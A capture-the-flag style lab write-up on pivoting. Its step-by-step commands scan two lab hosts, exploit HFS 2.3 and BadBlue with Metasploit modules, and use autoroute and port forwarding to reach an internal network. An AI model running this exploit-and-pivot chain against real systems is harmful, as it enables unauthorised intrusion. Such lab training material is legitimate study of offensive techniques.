Pivoting

Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine. The target machines will be accessible at demo1.ine.local and demo2.ine.local.

Objective: Exploit vulnerabilities in the target machines to gain access and retrieve a flag.

Tools

The best tools for this lab are:

• Nmap

• searchsploit

• msfconsole

Writeup

nmap -sSVC demo1.ine.local

PORT      STATE SERVICE            VERSION
80/tcp    open  http               HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2025-06-11T09:04:12+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN-OMCNBKR66MN
|   NetBIOS_Domain_Name: WIN-OMCNBKR66MN
|   NetBIOS_Computer_Name: WIN-OMCNBKR66MN
|   DNS_Domain_Name: WIN-OMCNBKR66MN
|   DNS_Computer_Name: WIN-OMCNBKR66MN
|   Product_Version: 6.3.9600
|_  System_Time: 2025-06-11T09:04:05+00:00
| ssl-cert: Subject: commonName=WIN-OMCNBKR66MN
| Not valid before: 2025-06-10T09:01:14
|_Not valid after:  2025-12-10T09:01:14
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-06-11T09:04:09
|_  start_date: 2025-06-11T09:01:10
| smb2-security-mode: 
|   3:0:2: 
|_    Message signing enabled but not required

msfconsole
use exploit/windows/http/rejetto_hfs_exec
set rhosts demo1.ine.local
run

ipconfig

run autoroute -s 10.2.20.0/20
background
use auxiliary/scanner/portscan/tcp
set rhosts demo2.ine.local
run

sessions -i 1
portfwd add -l 6969 -p 80 -r 10.2.23.73
portfwd list

nmap -sV -sS -p 6969 localhost

background
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
set RHOSTS demo2.ine.local
run